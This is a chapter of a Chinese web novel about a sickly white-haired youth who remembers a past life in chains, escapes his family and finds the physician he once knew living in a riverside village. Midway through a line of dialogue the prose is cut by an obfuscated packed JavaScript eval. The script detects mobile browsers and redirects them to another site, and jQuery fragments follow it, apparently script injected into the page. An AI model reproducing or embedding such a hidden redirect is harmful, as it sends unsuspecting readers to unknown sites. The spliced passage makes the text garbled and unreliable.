夜半。
鹭鸟从浅滩飞过,惊起一澜河水。
岸边的芦苇丛扑簌簌地响。
时微觉得有些冷,起身去将窗子关严了。
他趿拉着鞋往回走,又往回看了看,门窗都紧紧关着,时微紧了紧身上的衣服,不太放心地又将窗户栓严实了,细声喘着气将一把木头椅子拖到门前将门抵住,才勾出一个浅浅的笑。
“咳咳……”
少年身子骨不算很好,天生的弱症,早年又没精细养着,便落下吹风就咳的隐疾。
他容貌秀美,是一种柔和婉约的味道,头发随意披在肩侧,竟是雪白的颜色,更衬得他弱柳扶风。
少年摸着黑回到床上,踢了踢脚下的汤捂子,裹紧棉被睡着了。
-
时微有个秘密。
从他记事起,每晚便会做一些噩梦。
梦中镜花水月,伴着乞求讨饶的哭泣,全是离奇的碎片。小小的时微什么都不懂,只觉得那个跪倒在地满脸是泪的人很可怜。
小时微尝试去给那人擦眼来,手却从虚影中穿过,他懵然,不知发生了什么。
直到后面年岁渐长,时微认出画面中的人是自己。
他逐渐回想起更多,有时走路都不敢迈太大的步子,恍惚间以为自己腿上还戴着那条赤金的锁链。
上辈子剩下的所有记忆,都是在那条枷锁下度过的。
时微看着自己的手,是弱小纤细的手,但很清晰。他死去前,连自己的手都看不清了。
时微逃跑了。
在一天夜晚,他听见时家的仆从低声讨论,说庾家那位少年将军这次在战场上受了重伤,醒来后便念叨着时家庶子的名字。
仆从尖酸的声音在空荡的院落里格外刺耳:“也不知怎么的,那位明明是炙手可热的新贵,却偏偏看上个——”
后面的话被那人隐去,时微却也知道不会是什么好话。
他面色苍白,踉跄往后退了两步,踩折了脚底的枯枝。
说小话的小厮连忙往他这里看,只一眼便呆了神,愣愣问他,“你,你是谁……”
他身旁的同伴也呆住了,只是回神得比小厮要早些,于是那胳臂肘碰他,说,“……你看他的头发。”
月光下,时微的头发被编成辫子放在肩侧,只拿粗布绳绑了,是一头漂亮的、柔顺的白发。
小厮也呆住了。
“你,你是——”
他话没说完,便看见面色惊恐的美人转身就跑。
时微身体孱弱,只跑了一会儿,喉咙里便漫上铁锈气息,他不敢停下,一路跑到前些日子塌了一角还没修缮的墙边,素白的手扒住露出的砖头,雪似的的手指瞬间被割出几道血痕。
他全身都用着力,身后传来小厮的惊呼,时微绝望地回头看去,看见刚刚议论自己的二人追了过来。
少年眼前一黑,眼眶都微微红了,看得过来的二人心中一紧。
小厮下意识放轻声音,来到时微面前,问道:“……公子。你是想离开吗?”
时微抖着唇,鸽羽般洁白的眼睫颤抖着,他半挂在墙上,此时渐渐脱力,瘦弱的身体往下掉,被小厮接了个满怀。
好,好香……
小厮被满盈的香气砸个正中,他头晕目眩一瞬,反应过来后忙松了手,生怕自己会玷污美人,他讪讪站在一旁。
不曾想才被他接住的美人已经滚滚落下泪来,时微抽噎着,鼻头都红了,他揪着朴素的棉布长衫,小脸已经有些灰扑扑的了,盈着水的眼睛却亮得惊人。
他双手合十,用盈满泪珠的眼睛看着二人,嗓音细弱可怜,道:“二,二位大哥……求求,求求你们放过我……”
“我不能,不能留在,这里……我会死的……”话说到后面,已经语无伦次。
二人相互对视一眼。
正在时微绝望时,其中一人像是下定决心,一咬牙道:“公子,您踩在我背上。”
时微一愣。
那人却已经来到墙角,半弯下腰。
他常年感谢信粗活,一身腱子肉练得发达,此刻随着弯腰的动作从衣衫中显出线条。
另一个小厮搀着时微,低声道:“公子,我扶您上去。”
直到时微从墙头翻过去时,还迷糊着不知发生了什么。
他眼睫上还凝着泪,夜风刮过来时,便冻得抖了一下。骑在墙头的小厮见状,看着自己身上单薄的衣服犯了难,于是解下腰间的布袋扔给时微。
时微懵懵接过,便听到小厮说:“这是奴才的一点银两,公子走后,请给自己添一些衣裳!”
“之前的话对公子多有得罪,请公子恕罪。”
说着,便翻回了院墙。
只剩下时微一个人在原地发愣。
许久,他握紧手中的布袋,吸了吸鼻子,瓮声说了声“谢谢”,便一瘸一拐走远了。
-
距离他从时家逃走,已经过去一个月了。
时微在远离人烟的河岸安了家。一间简陋的小茅屋,村子里的人看他一个小娃娃走过来,嫌他可怜,一起给他搭的。
时微知恩图报,他手艺好,便收了村子邻里的衣服东西来修,不要钱。一些大娘婶子看他辛苦,便会强硬往他手里塞些铜钱。
山上的猎户打了野味,也会给时微送来一点。
时微在这里过得很开心。
他有时还是会听见锁链的声音,也会被乡里洗衣做饭的动静驱散干净。
京城里的那些人,连面孔他都不太记得清楚了。
再起身时,窗户外面阳光熹微,时微抱着被子伸了个懒腰,埋在里面哼哼唧唧。
直到外面传来震天的敲门声,时微才从被子里拔出头来,原本柔顺的头发因为没有打理,乱糟糟的,头顶还斜里翘出来一根。
时微就顶着东翘西翘的头发过去开门,薄薄的木板门挡不住光,一打开便洒进来一室,时微揉了揉眼睛,“唔”了一声。
门口传来中气十足的声音:“你要老夫在这里等你多久?”
时微揉眼睛的动作顿住,惊喜地叫了一声:“谭爷爷!”
来人是位精神矍铄的老人,留着把花白的胡须,此刻正斜睨着眼看他。
时微是在搬到村里第二日见着老人的,老人脾气是十里八乡出名的古怪,初见面时这人仰面躺在河里游泳,偏偏紧闭双眼一动不动,时微以为他是摔进水里出事了,吓得鞋都来不及脱,蹚着水跑去救人,结果自己先在水里摔了个仰倒。
最后还是老人提着他脚脖子,给他抖干净身上的水。
老人当时一脸嫌弃,皱着脸看他,时微一边咳出肺里的水,一边红着眼睛看老人,诺诺道:“咳……咳咳,原来,您,没事啊……”
老人没回答,长久地看他,时微被他看得一阵心虚,左右看了看自己,没发现有哪里不对的地方,便摸了摸自己的脸:“我……我是,脸上有,东西吗?”
老人:“……”
半晌,他才收回目光,幽幽说道:“我姓谭。”
时微歪头。
老人便敲了他一个爆栗,时微吃痛,“呜”了一声捂住头。
他眼泪汪汪地看向老人,却看见老人眼底有流光一闪而过,他有些愣怔。
下一秒就被老人的大嗓门打破了思绪:“别人报上姓名的时候不要傻坐在原地!”
时微:“呜。”
您也没有说您叫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926088|171793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么啊。
但时微很有求生欲地没说这句,乖乖对着老人说:“我,我叫时微……”
-
谭爷爷今日过来,还提过来两篮鸡蛋。
时微家里的鸡蛋多得要吃不完,他亦步亦趋跟在老人身后,讪讪道:“爷,爷爷……”
“鸡蛋就不用了吧……王婶子前些日子才给我送过……”
他想去接老人手里的鸡蛋,老人回头,眼神凶恶地瞪他,时微被吓得一抖,伸出的手慢慢缩了回去。
老人将鸡蛋放到灶旁,转回身上下打量着时微,问,“不结巴了?”
时微乖乖点头,手指在一起绞了一下,说:“谢谢爷爷的药……”
他两只眼睛睁得圆圆的,穿着乡间最简单的乡野布衫,却养得好极了,眼里都是亮晶晶的天真烂漫。
老人沉默了下,背过身去,时微看不见他的表情,只听见他说,“德行。”
小少年不好意思地笑笑。
他偷偷打量着老人,觉得他很像自己前世认识的一个人,但长相姓名都对不上……时微苦恼地叹了口气。
很轻的声音,老人却立马转过身,神色紧绷,问他:“怎么了?”
不知为何,时微总觉得能从这张脸上看出一点紧张的神色。
他眨眨眼,说:“您好厉害,我觉得您好像神医。”
他之前还答应过一位神医说下辈子要做他徒弟来的……重来的一辈子算下辈子吗?游神医还会认识他吗?
时微眉毛向下撇了撇。
他因此没看见老人面上闪过一抹心虚。
头上很快又挨了一记轻弹,完全不重的力道,却仍让少年额头红了一块。他捂住头,小鸭子一样瘪起嘴看老人,老人被他的眼神看得更加心虚,将弹过他的手藏到身后。
时微:“您又弹我!”
老人:“……”
老人:“咳咳,你那么不聪明,弹弹怎么了,说不定还能变聪明些。”
时微不说话了。
老人便凑到他面前,稀奇地看他,说:“你哭了?这回我还是第一次看你哭……”
时微抬起头,漂亮的眼睛摇晃着清透水珠。
老人僵在原地。
“……你真哭了?”
“咳,我没有故意的意思啊,也没有真想说你笨,其实你也确实挺笨的,一点小恩小惠就能哄走了,我也没有……”
“诶诶诶,怎么还往下掉眼泪呢?好了,是我错了,我不该这样说你……我以后再也不说你了!”
“呜呜呜哇!”时微一下埋到老人的怀里。
他放声大哭。
老人僵在原地,总算体会到师兄弟们带孩子的手足无措,一把年纪在那里却没有任何用处。
忍不住悔恨自己嘴贱,把那么乖一个小孩都给逗哭了。
时微揪住老人的衣服,哭成花猫的脸从他怀里抬起来,眼泪盈盈。
“神,神医……”他抽噎着,“你为什么不告诉我你是神医?”
老人,不,游谭僵直在原地。
他低下头,看见的就是时微满是委屈的眼睛。
小少年没感受过父爱,唯一一个待他好的长辈便是游谭,他不知不觉便对人有些依赖,此刻雏鸟般地带着一头翘起的乱发哭泣。
“呜……我好开心……”
更多的是喜极而泣。
时微从记起前世记忆后,无时无刻不在惶恐。天地诺大,他像是独一的异类。
此刻见到信任熟悉的人,惶惑不安的心终于得到一瞬平息,他可怜兮兮地哭着,像走失后找回父母的孩童。
游谭的心便也软了。
老人说:“还说自己不好骗?”